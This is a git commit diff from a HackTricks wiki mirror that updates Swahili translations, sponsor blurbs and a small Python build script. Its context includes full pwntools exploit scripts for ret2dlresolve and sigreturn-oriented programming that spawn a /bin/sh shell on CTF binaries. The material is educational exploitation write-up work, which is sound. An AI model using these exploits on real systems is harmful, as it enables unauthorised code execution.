mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente
This commit is contained in:
parent
27552e5a39
commit
7b2c04907f
@ -69,6 +69,12 @@ def ref(matchobj):
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
return
|
||||
@ -99,6 +105,7 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
@ -1,13 +1,10 @@
|
||||
# HackTricks
|
||||
|
||||
Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> **Karibu kwenye wiki ambapo utaweza kupata kila hila/mbinu ya hacking/chochote nilichojifunza kutoka CTFs, programu za maisha halisi, kusoma tafiti, na habari.**
|
||||
> [!TIP] > **Karibu kwenye wiki ambapo utaweza kupata kila hila/mbinu/chochote nilichojifunza kutoka CTFs, programu za maisha halisi, kusoma tafiti, na habari.**
|
||||
|
||||
Ili kuanza fuata ukurasa huu ambapo utaweza kupata **mchakato wa kawaida** ambao **unapaswa kufuata unapofanya pentesting** kwenye mashine moja au zaidi:
|
||||
|
||||
@ -21,9 +18,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli mbiu yake ni **HACK THE UNHACKABLE**. Wanatekeleza tafiti zao wenyewe na kuunda zana zao za hacking ili **kutoa huduma kadhaa za thamani za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
|
||||
[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli mbiu yake ni **HACK THE UNHACKABLE**. Wanatekeleza tafiti zao wenyewe na kuunda zana zao za udukuzi ili **kutoa huduma kadhaa za thamani za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
|
||||
|
||||
Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** pia inasaidia miradi ya usalama wa mtandao ya chanzo wazi kama HackTricks :)
|
||||
|
||||
@ -33,9 +30,11 @@ Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://bl
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Uhispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||||
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -43,11 +42,13 @@ Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://bl
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** ni **jukwaa nambari moja** la hacking ya kimaadili na **bug bounty** barani **Ulaya**.
|
||||
**Intigriti** ni **jukwaa nambari moja** la udukuzi wa kimaadili na **bug bounty** barani **Ulaya**.
|
||||
|
||||
**Bug bounty tip**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
||||
**Nasaha ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililoundwa na wahacker, kwa wahacker**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -56,11 +57,13 @@ Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://bl
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kujiendesha** kwa urahisi mchakato wa kazi unaoendeshwa na zana za jamii **za kisasa zaidi** duniani.
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kujiendesha** kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.
|
||||
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -68,13 +71,13 @@ Pata Ufikiaji Leo:
|
||||
|
||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wahacker wenye uzoefu na wawindaji wa bug bounty!
|
||||
|
||||
- **Hacking Insights:** Jihusishe na maudhui yanayoangazia msisimko na changamoto za hacking
|
||||
- **Real-Time Hack News:** Fuata habari za haraka za hacking kupitia habari na maarifa ya wakati halisi
|
||||
- **Latest Announcements:** Kuwa na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
- **Maoni ya Udukuzi:** Jihusishe na maudhui yanayoangazia msisimko na changamoto za udukuzi
|
||||
- **Habari za Udukuzi kwa Wakati Halisi:** Fuata habari za haraka za ulimwengu wa udukuzi kupitia habari na maoni ya wakati halisi
|
||||
- **Matangazo ya Karibuni:** Kuwa na habari kuhusu zawadi mpya za bug zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers bora leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wahacker bora leo!
|
||||
|
||||
---
|
||||
|
||||
@ -84,9 +87,11 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
|
||||
|
||||
**Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu**
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha hadhi, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kushawishi.
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa biashara halisi.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha hadhi, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kuvutia.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -94,24 +99,26 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data zote za muundo wa tajiri kwa ajili yako.
|
||||
**SerpApi** inatoa APIs za wakati halisi kwa urahisi na haraka ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data zote zenye muundo wa kina kwa ajili yako.
|
||||
|
||||
Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kukusanya data kutoka kwa injini tofauti za utafutaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
|
||||
Tofauti na watoa huduma wengine, **SerpApi haisafishi tu matokeo ya asili**. Majibu ya SerpApi mara kwa mara yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele na sifa nyingine zilizopo katika matokeo ya utafutaji.
|
||||
|
||||
Wateja wa sasa wa SerpApi ni **Apple, Shopify, na GrubHub**.\
|
||||
Kwa maelezo zaidi angalia [**blog**](https://serpapi.com/blog/)** yao,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)** yao.**\
|
||||
Kwa maelezo zaidi angalia [**blogu**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**sehemu yao ya majaribio**](https://serpapi.com/playground)**.**\
|
||||
Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
---
|
||||
|
||||
### 8kSec Academy – Kozi za Usalama wa Simu za Kina
|
||||
### 8kSec Academy – Kozi za Kina za Usalama wa Simu
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na uhandisi wa kurudi ili kulinda programu na vifaa vya simu. **Tawala usalama wa iOS na Android** kupitia kozi zetu za on-demand na **pata cheti**:
|
||||
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na uhandisi wa kurudi ili kulinda programu na vifaa vya simu. **Tawala usalama wa iOS na Android** kupitia kozi zetu za mahitaji na **pata cheti**:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -119,15 +126,17 @@ Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo inasaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia **ya kisasa**.
|
||||
[**WebSec**](https://websec.nl) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo inasaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia ya **kisasa**.
|
||||
|
||||
WebSec ni kampuni ya **usalama wa kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Matumizi, Utoaji wa Wataalamu wa Usalama na mengi zaidi.
|
||||
WebSec ni kampuni ya **usalama wa kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Utekelezaji, Utaalamu wa Usalama wa Kuajiri na mengi zaidi.
|
||||
|
||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti**](https://websec.nl/en/) yao na [**blog**](https://websec.nl/blog/)!
|
||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.nl/en/) na [**blogu**](https://websec.nl/blog/)!
|
||||
|
||||
Mbali na hayo WebSec pia ni **mshabiki aliyejitolea wa HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
{{#endref}}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
@ -8,7 +8,7 @@ Kama ilivyoelezwa katika ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/
|
||||
|
||||
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye stack marejeleo ya baadhi ya muundo inahitaji ili **kutatua** alama iliyotajwa.
|
||||
|
||||
Kwa hivyo, inawezekana **kujifanya muundo huu wote** ili kufanya uhusiano wa dinamikali kutatua alama iliyotolewa (kama kazi ya **`system`**) na kuitwa na parameter iliyowekwa (mfano **`system('/bin/sh')`**).
|
||||
Kwa hivyo, inawezekana **kujifanya muundo huu wote** ili kufanya uhusiano wa kipekee kutatua alama iliyotolewa (kama kazi ya **`system`**) na kuitwa na parameter iliyowekwa (mfano **`system('/bin/sh')`**).
|
||||
|
||||
Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa awali wa ROP unaoitwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **muundo** na mfuatano **`'/bin/sh'`** vinapitishwa ili kuhifadhiwa na kusoma katika eneo lililojulikana, na kisha mnyororo wa ROP unaendelea kwa kuita **`_dl_runtime_resolve`**, ukiwa na **kutatua anwani ya `system`** katika muundo wa uongo na **kuita anwani hii** na anwani ya `$'/bin/sh'`.
|
||||
|
||||
@ -17,7 +17,9 @@ Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa awali wa ROP unao
|
||||
|
||||
Cheki video hii kwa maelezo mazuri kuhusu mbinu hii katika nusu ya pili ya video:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Au cheki hizi kurasa kwa maelezo ya hatua kwa hatua:
|
||||
|
||||
@ -56,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
|
||||
### Pure Pwntools
|
||||
|
||||
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
|
||||
Unaweza kupata [**mfano wa mbinu hii hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **ukijumuisha maelezo mazuri sana ya mnyororo wa mwisho wa ROP**, lakini hapa kuna exploit ya mwisho iliyotumika:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -181,11 +183,11 @@ target.send(paylaod2)
|
||||
# Enjoy the shell!
|
||||
target.interactive()
|
||||
```
|
||||
## Mifano Mingine & Marejeo
|
||||
## Mifano Mingine & Marejeleo
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi mdogo wa buffer overflow na kurudi. Ili ku exploit, bof inatumika kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi katika hapo meza za uongo za `dlresolve` ili kupakia `system`, kurudi kwenye main na kuendelea kutumia bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
|
||||
- 32bit, hakuna relro, hakuna canary, nx, hakuna pie, overflow ndogo wa buffer wa msingi na kurudi. Ili ku exploit, bof inatumika kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi katika hapo meza za bandia za `dlresolve` ili kupakia `system`, kurudi kwenye main na kuendelea kutumia bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**`Sigreturn`** ni **syscall** maalum inayotumika hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa kutumia **signal handler**, kazi maalum iliyoundwa kushughulikia ishara.
|
||||
**`Sigreturn`** ni **syscall** maalum ambayo inatumika hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa **mhandisi wa ishara**, kazi maalum iliyoundwa kushughulikia ishara.
|
||||
|
||||
Baada ya mhandisi wa ishara kumaliza, programu inahitaji **kurudi katika hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mhandisi wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na vigezo vya ndani) ambayo ilitumika na mhandisi wa ishara.
|
||||
Baada ya mhandisi wa ishara kumaliza, programu inahitaji **kurudi katika hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mhandisi wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na mabadiliko ya ndani) ambayo ilitumika na mhandisi wa ishara.
|
||||
|
||||
Sehemu ya kuvutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **maadili yote ya register za CPU kwenye stack.** Wakati ishara haitazuiwi tena, **`sigreturn` inatoa maadili haya kutoka kwenye stack**, kwa ufanisi ikirekebisha register za CPU katika hali yao kabla ya ishara kushughulikiwa. Hii inajumuisha register ya pointer ya stack (RSP), ambayo inaelekeza kwenye kilele cha sasa cha stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iandike kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
|
||||
> Kuita syscall **`sigreturn`** kutoka kwenye mnyororo wa ROP na **kuongeza maadili ya register** tunayotaka iingize kwenye **stack** inawezekana **kudhibiti** maadili yote ya register na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
|
||||
|
||||
Kumbuka jinsi hii ingekuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi zaidi kudhibiti vigezo ili kuita Ret2syscalls nyingine:
|
||||
Kumbuka jinsi hii ingekuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi zaidi kudhibiti parameta za kuita Ret2syscalls nyingine:
|
||||
|
||||
{{#ref}}
|
||||
../rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
Ikiwa unavutiwa hii ni **muundo wa sigcontext** unaohifadhiwa kwenye stack ili baadaye kurejesha maadili (mchoro kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
Ikiwa unavutiwa hii ni **muundo wa sigcontext** ulihifadhiwa kwenye stack ili baadaye kurejesha maadili (mchoro kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
@ -57,7 +57,9 @@ Ikiwa unavutiwa hii ni **muundo wa sigcontext** unaohifadhiwa kwenye stack ili b
|
||||
```
|
||||
Kwa maelezo bora angalia pia:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Mfano
|
||||
|
||||
@ -88,7 +90,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Angalia pia [**exploit kutoka hapa**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) ambapo binary tayari ilikuwa ikitumia `sigreturn` na kwa hivyo si lazima kujenga hiyo na **ROP**:
|
||||
Angalia pia [**exploiti kutoka hapa**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) ambapo binary tayari ilikuwa ikitumia `sigreturn` na kwa hivyo si lazima kujenga hiyo na **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -126,11 +128,11 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya binary.
|
||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall ya **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya binary.
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** (binary ina mfuatano wa `/bin/sh`).
|
||||
- Assembly binary inayoruhusu **kuandika kwenye stack** na kisha inaita syscall ya **`sigreturn`**. Inawezekana kuandika kwenye stack [**ret2syscall**](../rop-syscall-execv/) kupitia muundo wa **sigreturn** (binary ina mfuatano wa `/bin/sh`).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Ujanja rahisi wa buffer overflow ukitumia kazi ya `gets` kwa kukosa gadgets zinazofanya [**ret2syscall**](../rop-syscall-execv/). Mnyororo wa ROP unaandika `/bin/sh` kwenye `.bss` kwa kuita gets tena, unatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza shell.
|
||||
- 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Ujanja rahisi wa buffer overflow ukitumia kazi ya `gets` kwa kukosa gadgets inayofanya [**ret2syscall**](../rop-syscall-execv/). Mnyororo wa ROP unaandika `/bin/sh` kwenye `.bss` kwa kuita gets tena, unatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- Programu ya assembly ya 64 bits, hakuna relro, hakuna canary, nx, hakuna pie. Mchakato unaruhusu kuandika kwenye stack, kudhibiti register kadhaa, na kuita syscall kisha inaita `exit`. Syscall iliyochaguliwa ni `sigreturn` ambayo itapanga register na kuhamasisha `eip` ili kuita amri ya syscall ya awali na kuendesha `memprotect` kuweka nafasi ya binary kuwa `rwx` na kuweka ESP katika nafasi ya binary. Kufuatia mchakato, programu itaita kusoma ndani ya ESP tena, lakini katika kesi hii ESP itakuwa ikielekeza kwenye amri inayofuata hivyo kupitisha shellcode kutaiandika kama amri inayofuata na kuitekeleza.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
|
@ -4,13 +4,15 @@
|
||||
|
||||
- **Orodha Rahisi:** Orodha tu yenye kipengee katika kila mstari
|
||||
- **Faili ya Wakati wa Uendeshaji:** Orodha inayosomwa wakati wa uendeshaji (siyo iliyopakuliwa kwenye kumbukumbu). Kwa kusaidia orodha kubwa.
|
||||
- **Mabadiliko ya Kesi:** Fanya mabadiliko fulani kwenye orodha ya nyuzi (Hakuna mabadiliko, kwa chini, kwa JUU, kwa Jina Sahihi - Kwanza kuandikwa kwa herufi kubwa na zingine kwa chini-, kwa Jina Sahihi -Kwanza kuandikwa kwa herufi kubwa na zingine zinabaki vile vile-).
|
||||
- **Mabadiliko ya Kesi:** Fanya mabadiliko fulani kwa orodha ya nyuzi (Hakuna mabadiliko, kwa chini, kwa JUU, kwa Jina Sahihi - Kwanza kuandikwa kwa herufi kubwa na zingine kwa chini-, kwa Jina Sahihi -Kwanza kuandikwa kwa herufi kubwa na zingine zinabaki vile vile-).
|
||||
- **Nambari:** Tengeneza nambari kutoka X hadi Y kwa kutumia hatua Z au kwa bahati nasibu.
|
||||
- **Brute Forcer:** Seti ya wahusika, urefu wa chini na wa juu.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload ya kutekeleza amri na kupata matokeo kupitia maombi ya DNS kwa burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Lugha za Kifumbo
|
||||
# Lugha za Kigeni
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
Angalia wiki hiyo kutafuta lugha zaidi za kifumbo
|
||||
Angalia wiki hiyo kutafuta lugha zaidi za kigeni
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -15,9 +15,9 @@ Fikiria seva ambayo in **tishe** baadhi ya **data** kwa **kuongeza** **siri** kw
|
||||
|
||||
